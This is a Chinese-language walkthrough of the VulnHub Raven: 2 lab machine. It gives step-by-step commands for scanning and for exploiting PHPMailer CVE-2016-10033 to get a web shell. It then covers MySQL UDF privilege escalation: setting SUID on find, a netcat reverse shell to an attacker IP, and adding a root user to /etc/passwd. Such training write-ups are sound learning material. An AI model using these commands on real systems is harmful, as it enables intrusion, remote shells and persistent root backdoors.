靶机地址:https://www.vulnhub.com/entry/raven-2,269/
难度:中等
目标:获取root权限,并获取到4个flag
使用nmap或者netdiscover扫描网段信息,获取攻击目标
# nmap扫描网段
nmap -sP 192.168.88.0/24
# netdiscover扫描网段
netdiscover -r 192.168.88.0/24
扫描到攻击目标:192.168.88.142
使用nmap对目标进行全端口扫描
# nmap扫描端口
nmap -p- 192.168.88.142
发现开放80端口开启
浏览器访问后发现存在wordpress
但是没有发现有用信息
使用dirb
扫描目标目录
# 扫描目录
dirb http://192.168.88.142
扫描目录后发现一个目标存在目录遍历
在PATH
文件下发现flag1
在README.md
和VERSION
文件下发现PHPMailer
插件和版本号
Google搜索PHPMailer 5.2.16 exp
发现CVE2016-10033
尝试利用exp get-shell
# kali搜索对用exp
searchsploit 40974
# 复制exp
locate php/webapps/40974.py
cp /usr/share/exploitdb/exploits/php/webapps/40974.py .
修改exp尝试利用
修改target
和backdoor
,同时修改反弹shell的ip和端口,最后修改后门文件的地址
python执行exp
# 执行exp
python3 40974.py
访问contact.php
生成后门文件odfense.php
nc设置监听,访问shell文件odfense.php
python pty
实现交互式shell
# python 交互式shell
python -c "import pty; pty.spawn('/bin/bash')"
寻找flag
# find命令寻找flag
find / -name flag* 2>/dev/null # 2>/dev/null 为过滤掉没有查看权限的文件
flag2
flag3
到目前为止获取到3个flag,最后一个flag大多数情况下在root目录下,需要提权查看
发现一个配置文件,猜测是数据库配置文件
查看配置文件,发现数据库密码
在wp_users表下发现账号密码,但是密码解密不出来
查看数据库版本,发现为5.5.60
查看mysql进程信息
发现mysql是以root
权限运行的,尝试使用mysql提权,mysql 的UDF提权、UDF提权是非常经典的
查看是否支持满足UDF提权条件
# UDF提权条件
1.secure_file_priv
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
2.如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
查看是否满足写入条件
查看mysql插件位置
查看mysql是否支持远程登录,如果能够远程登录,可以使用MSF脚本进行攻击
Google搜索mysql 5.x UDF exp
编译exp生成.so文件
进行提权
# 编译生成so文件
searchsploit 1518
locate linux/local/1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c .
gcc -g -c 1518.c
gcc -g -shared -o odfense.so 1518.o
上传so文件到目标服务器
进入数据库创建空表
# 创建空表
create table odfense(line blob)
odfense表插入数据
odfense表插入数据成功后,使用dumpfile函数把文件导出。
outfile 多行导出,数据会有特殊的转换
dumpfile 一行导出,是以原始数据导出
# 导出文件到数据库插件目录
select * from odfense into dumpfile '/usr/lib/mysql/plugin/odfense.so';
创建自定义函数
创建自定义函数do_system,类型integet,别名(soname)文件名字
create function do_system returns integer soname 'odfense.so';
查询函数是否创建成功
调用do_system
函数来给find命令所有者的suid权限,使其可以执行root命令
# 调用do_system函数
select do_system('chmod u+s /usr/bin/find');
执行find命令,使用find命令执行shell
# 使用find命令执行shell
# 创建一个空文件
touch odfense
find odfense -exec "/bin/sh" \;
获取flag4
执行do_system函数反弹shell
# 执行do_system函数反弹shell
nc -nlvp 8899
select do_system('nc -nv 192.168.88.129 8899 -e /bin/bash');
# 生成ssh密码
openssl passwd test
# 执行do_system函数把账号密码写入etc/passwd
select do_system('echo "odfense:uWJNuXe9USUDw:0:0:root:/root:/bin/bash" >> /etc/passwd');
当我们获取到一个shell,一不小心按错ctrl+C
退出shell怎么办?这时候就可以使用stty了
# stty需要/bin/bash模式下,zsh下是不行的
/bin/bash #切换模式
# 首先获得一个shell
nc -nlvp 6666
# ctrl + Z退出shell
# 执行stty
stty raw -echo
# 然后输入fg回车就返回原来shell(注意:输入fg是不会显示的)
No.3-VulnHub-Raven: 2-Walkthrough渗透学习
PHPMailer
Mysql UDF提权